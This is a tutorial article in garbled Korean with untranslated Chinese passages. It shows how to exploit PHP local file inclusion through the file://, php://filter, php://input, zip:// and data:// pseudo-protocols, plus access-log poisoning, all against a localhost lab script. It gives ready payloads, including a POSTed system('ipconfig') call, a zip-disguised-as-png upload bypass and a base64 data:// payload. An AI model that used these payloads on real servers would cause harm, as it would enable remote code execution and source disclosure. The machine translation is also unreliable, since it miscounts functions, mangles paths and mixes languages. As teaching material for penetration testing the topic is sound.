이 글은 PHP에 대한 관련 내용을 다루며, 주로 파일 포함과 PHP 의사 프로토콜에 대한 내용을 소개합니다. 파일 포함 취약점은 일종의 "코드 삽입"에 대해 함께 살펴보겠습니다. 모든 사람.
추천 연구: "PHP 비디오 튜토리얼"
파일 포함 취약점은 일종의 "코드 삽입"입니다. 사용자가 제어할 수 있는 스크립트나 코드를 주입하고 서버가 이를 실행하도록 하는 것이 원칙입니다. "코드 삽입"의 일반적인 대표자는 파일 포함입니다.
공격을 위해 파일 포함 취약점을 성공적으로 악용하려면 다음 두 가지 조건이 충족되어야 합니다.
웹 애플리케이션은 include() 및 기타 파일 포함 기능을 사용하여 동적 변수를 통해 포함해야 하는 파일을 도입합니다.
1.php 파일에는 포함된 파일을 직접 실행할 수 있는 코드가 포함되어 있으며, 포함된 파일 형식 제한 없음
PHP에는 네 가지 파일 포함 기능이 제공됩니다.
(1) 필수: 포함된 파일을 찾을 수 없으면 치명적인 오류(E_COMPILE_ERROR)가 생성되고 스크립트가 중지됩니다.
(2) 포함; : 찾을 수 없습니다. 포함된 파일에 도달하면 하나만(E_warinng) 생성되고 스크립트는 계속 실행됩니다.
(3) Require_once: include와 유사하게 파일이 있는 경우 경고가 생성됩니다. 코드는 이미 포함되었으므로 다시 포함되지 않습니다.
PHP 의사 프로토콜
file:// — 访问本地文件系统 php:// — 访问各个输入/输出流(I/O streams)data:// — 数据(RFC 2397)zip:// — 压缩流
all_url_include는 PHP 5.2 이후에 추가되었습니다. 안전하고 편리한 설정(php의 기본 설정)은 다음과 같습니다:allow_url_fopen=on;all_url_include=off;
allow_url_fopen=On(URL 파일 열기 허용, 활성화됨) 기본적으로)allow_url_fopen=꺼짐(URL 파일 열기 금지)
allow_url_include=꺼짐(URL 파일 참조 금지, 새 버전에는 기능 추가, 기본값은 꺼짐)
allow_url_include=켜짐(URL 파일 참조 허용,새 버전에는 기능 추가)
file:// 프로토콜을 사용하여 로컬 phpinfo.php를 포함합니다.
http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\WWW\www\phpinfo.php
php://input은 PHP 코드를 실행하는 데 사용됩니다.
http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php
php://input
http://localhost/www/lfi.php?file=php://input POST <?system ('ipconfig')?>
먼저 로그 경로를 폭파하는 방법을 퍼징해야 합니다.
테스트의 편의를 위해 먼저 데모를 쉽게 하기 위해 로그 내용을 지웠습니다
URL을 방문하여 오류를 보고하여 로그에 코드를 작성하세요
참고: 여기서는 액세스용 패킷을 캡처하기 위해 트림을 사용해야 합니다. 그렇지 않으면 코드가 URL로 인코딩되어 로그에 기록되며 실행할 수 없습니다. user-agenthttp://localhost/www/lfi.php?file=<?php phpinfo();?>
F: phpstudyphpstudy_proExtensionsApache2.4.39logsaccess.log.1631750400
file:// pseudo-protocol을 사용하여 로그를 읽고 phpinfo가 성공적으로 실행되었는지 확인하세요
http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400
zip://protocol
分析源代码发现,文件上传采用了白名单限制策略,只能上传
“gif", “jpeg”, “jpg”, "png"四种后缀名的文件。
分析文件包含的源代码
Tips: the parameter is file! :) <!-- upload.php --><?php @$file = $_GET["file"]; echo $file; if(isset($file)) { if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70) { echo "<p> error! </p>"; } else { include($file.'.php'); } }?>
分析文件包含源代码,发现限制了部分伪协议和%00截断,且在include中自动添加了php后缀名,但是没有限制zip伪协议。
综上分析可以发现,在文件包含中利用zip伪协议,可以创建test.zip的压缩包,里面放着test.php的文件。
在文件上传时候将后缀名zip修改为png的后缀名,
test.php中写入木马
<?phpphpinfo ();?>
如下图所示
图片上传成功之后,利用文件包含和zip://协议去读取test.png中的test.php,发现phpinfo()被执行了,说明poc验证成功
http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test
条件:
allow_url_fopen:on allow_url_include :on
访问网址
http://localhost/www/lfi.php?file=data://text/plain,<?php phpinfo();?>
也可以使用base64编码,防止代码被过滤掉
file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=
推荐学习:《PHP视频教程》
위 내용은 파일 포함 및 PHP 의사 프로토콜 활용을 분석해 보겠습니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!